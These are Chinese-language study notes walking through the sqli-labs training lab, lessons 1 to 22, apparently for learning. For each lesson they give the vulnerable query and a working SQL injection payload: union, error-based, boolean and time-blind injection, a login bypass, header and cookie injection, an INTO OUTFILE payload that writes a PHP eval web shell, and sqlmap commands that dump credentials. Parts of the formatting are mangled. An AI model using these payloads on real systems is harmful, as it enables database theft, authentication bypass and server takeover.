浏览器发送请求的时候,会将URL末尾的空格舍去,导致-- 无效。我们用--+替代,+字符被URL编码后变成空格。
less-1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
字符型注入,闭合单引号即可。
?id=-1' union
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --batch --dbs
发现-C password与id参数一起时,显示结果有误?
less-2
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
数字型注入,不用闭合直接注入。
?id=-1 union
less-3
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
闭合单引号和右括号即可
?id=1')
sqlmap -u "http://127.0.0.1/sqli-labs/Less-3/?id=1" --prefix "')" --batch -D security -T users -C "id,username,password" --dump
less-4
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
闭合双引号和右括号。
?id=1")
less-5
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
盲注,引入新知识点,报错注入。
三种常用的报错注入方式
- 通过floor报错> select count(), concat((
payload
), ‘-‘, floor(rand(0)2)) as a from information_schema.tables group by a;将payload换成你想要的东西!
- 通过updatexml报错> and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位 并且该语句对payload的返回类型也做了限制,只有在payload返回的不是xml格式才会生效
and updatexml(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+
显示内容呢有限,得慢慢来。
- 通过extractvalue报错> ```sql
extractvalue(目标xml文档,xml路径)
xml路径报错
正常查询第二个参数的位置格式为 /xxx/xx/xx/xx ,即使查询不到也不会报错
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))> ```sql
and (extractvalue("hahahaha",concat('~',(select @@version))))--+
显示内容有限只显示32个字符
substring(expression,start,length)
sql函数,截取字符串,二进制字符串,文本,图像,列或包含列的表达式 substring(‘abcd’,1,2) ==>ab
时间延迟型手工注入
时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。
and if(payload,sleep(5),1)--+
IF(expr1,expr2,expr3) ==> expr1?expr2:expr3
// and if(length(database())=8,sleep(5),1)--+
// and if(left(database(),1)='s',sleep(5),1)--+
//and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
布尔型手工注入
在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1 手工注入时可使用例如left((select database()),1)<’t’ 这样的比较二分查找方法快速爆破。
?id=1' and left((select database()),1)='s'--+
还是用 sqlmap!!!
less-6
闭合双引号,盲注。
less-7
```sql $sql=”SELECT * FROM users WHERE id=((‘$id’)) LIMIT 0,1”; — 闭合太骚气
select * from table into outfile ‘/路径/文件名’; — 写入文件
> 在使用`select into outfile`时只能将语句写入特定的目录,该目录由`secure-file-priv`参数指定,如果为`NULL`则禁止写入。并且该变量是只读的,可以在`my.ini`中指定参数值。`secure-file-priv="D:/XXX"`
> payload:`?id=1')) union select 1,2,'<?php eval($_POST[cmd]); ?\>' into outfile '\\xxx.php'--+`
---
<a name="38zmy"></a>
#### less-8
> 闭合单引号,基于布尔型的盲注。
substr()
> ```sql
SUBSTR(str,pos,len);
截取字符,注意pos为1(而不是0),从第一个位置开始。
?id=1' and ((select column_name from information_schema.columns where table_name='users' limit 2,1)='password')--+
less-9
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
?id=1' and if(left(database(),1)='a',sleep(5),1)--+
?id=1' and if(substring(database(),1,1)='s',sleep(5),1)--+
单引号闭合基于时间的盲注。 sqlmap:
sqlmap -u "xxx?id=1" --technique T --dbs --batch
sqlmap -u "xxx?id=1" --technique T -D security --tables --batch
sqlmap -u "xxx?id=1" --technique T -D security -T users --cloumns --batch
sqlmap -u "xxx?id=1" --technique T -D security -T users -C username,password --dump --batch
less-10
双引号闭合时间盲注,同上。
less-11
post请求使用
--
而不能再使用--+
,不再通过网址传输
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
可使用万能密码。
' or '1'--
' or '1
也可以使用union联合注入。
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--
也可使用报错注入。
' and updatexml(1,concat('/',(select version())),1)--
less-12
双引号和右括号闭合,联合注入。
") union select 1,2--
less-13
单引号和右括号闭合,报错注入。
') and (updatexml(1,concat('~',(select version())),1))--
注意payload中只能select 一个字段。 有些时候注意把用户名和登录密码都填上,
isset()
less-14
双引号闭合,报错注入。
" and (select 1 from (select count(*),concat((select version()),floor(rand(0)*2)) as a from information_schema.tables group by a)x)--
" and (extractvalue(1,concat('~',(select version()))))--
" and updatexml(1,concat('~',(select version())),1)--
less-15
单引号闭合盲注。 sql中的and和or都是非贪婪的,这个要注意。
' or 1 and if(length('00')=2,sleep(5),1)--
' or 1 and length(database())>8 and sleep(5)--
# 这样就可以不使用if来进行判断了
sqlmap
1. burpsuite抓包,保存txt文本
2. sqlmap -r xxx.txt -p 注入参数 -technique T --batch
less-16
双引号和右括号闭合,盲注。
") or sleep(5)--
less-17
单引号闭合,盲注。 ```sql @$sql=”SELECT username, password FROM users WHERE username= $uname LIMIT 0,1”; — 修改密码操作一般包含两个操作,一个查找一个更新
$update=”UPDATE users SET password = ‘$passwd’ WHERE username=’$row1’”;
> 这里对uname字段进行了过滤处理,第一个语句不存在注入漏洞,主要从第二个sql语句入手。
> ```sql
uname=admin&passwd=' or sleep(5)--
手工盲注猜解。
tips:
参数:—prefix,—suffix 在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。 例如,代码中是这样调用数据库的:
$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
这时你就需要—prefix和—suffix参数了:sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"
参数: —technique B: 基于Boolean的盲注(Boolean based blind)
Q: 内联查询(inlin queries)
T: 基于时间的盲注(time based blind)
U: 联合查询(union query based)
E: 错误(error based)
S: 栈查询(stack queries)
less-18
user-agent单引号报错注入。
less-19
referer单引号注入。
less-20
cookie单引号注入。
less-21
cookie单引号右括号闭合。 cookiebase64加密。
less-22
cookie双引号注入。 base64加密。